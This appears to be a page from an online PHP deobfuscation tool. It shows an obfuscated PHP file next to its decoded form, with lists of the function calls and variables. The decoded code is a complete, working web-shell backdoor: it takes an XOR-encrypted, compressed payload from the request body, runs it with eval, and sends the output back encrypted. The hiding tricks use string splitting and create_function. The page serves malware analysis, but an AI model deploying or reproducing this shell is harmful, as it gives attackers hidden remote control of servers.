Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $h='unction x(*$t*,$k){$c=st*rlen($*k);$l=*strle*n($t);$**o="";for($i*=0;*$i<*$l;*)..

Decoded Output download

$k="4d4098d6";$kh="4e163d272695";$kf="9455d046fd7c";$p="f8ewVri1Yd8RJkIZ";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$h='unction x(*$t*,$k){$c=st*rlen($*k);$l=*strle*n($t);$**o="";for($i*=0;*$i<*$l;*){for($';
$N=str_replace('dO','','cdOrdOeatdOdOe_funcdOtdOion');
$B='n*d*_clea**n();$r=@base*64_e*ncode(@x(@g**zcompress($o),$*k));p*rin*t("$p*$kh$r$kf");}';
$l='$k=*"*4d4098d6";$kh*="4e16*3d27269*5";*$kf="*94*55d046fd7c*";$p="f8ewV*ri1Y*d8RJ*kIZ"*;f';
$d='c*h("/$kh(.+*)$kf/*",@fi*le_get_contents*("php**://input"),$*m*)==1){@*ob_*start();*@*e';
$W='va*l(@g*z*uncompress(@x(@b*ase64_deco*de($m[1])*,$k)));$*o=@ob_*get_cont*ents*();@ob_e';
$u='j=*0;($j<$c&&$*i*<$l);$j*++,$i++*)*{$o.=$t{$i}^$*k{$*j};}}retur*n $o;}i*f(@p**reg_mat*';
$M=str_replace('*','',$l.$h.$u.$d.$W.$B);
$G=$N('',$M);$G();
?>

Function Calls

str_replace 2
create_function 1

Variables

$B n*d*_clea**n();$r=@base*64_e*ncode(@x(@g**zcompress($o),$*k)..
$M $k="4d4098d6";$kh="4e163d272695";$kf="9455d046fd7c";$p="f8ew..
$N create_function
$W va*l(@g*z*uncompress(@x(@b*ase64_deco*de($m[1])*,$k)));$*o=@..
$d c*h("/$kh(.+*)$kf/*",@fi*le_get_contents*("php**://input"),$..
$h unction x(*$t*,$k){$c=st*rlen($*k);$l=*strle*n($t);$**o="";f..
$l $k=*"*4d4098d6";$kh*="4e16*3d27269*5";*$kf="*94*55d046fd7c*"..
$u j=*0;($j<$c&&$*i*<$l);$j*++,$i++*)*{$o.=$t{$i}^$*k{$*j};}}re..

Stats

MD5 a5979f5f14b636a6a5e831eefe083078
Eval Count 1
Decode Time 100 ms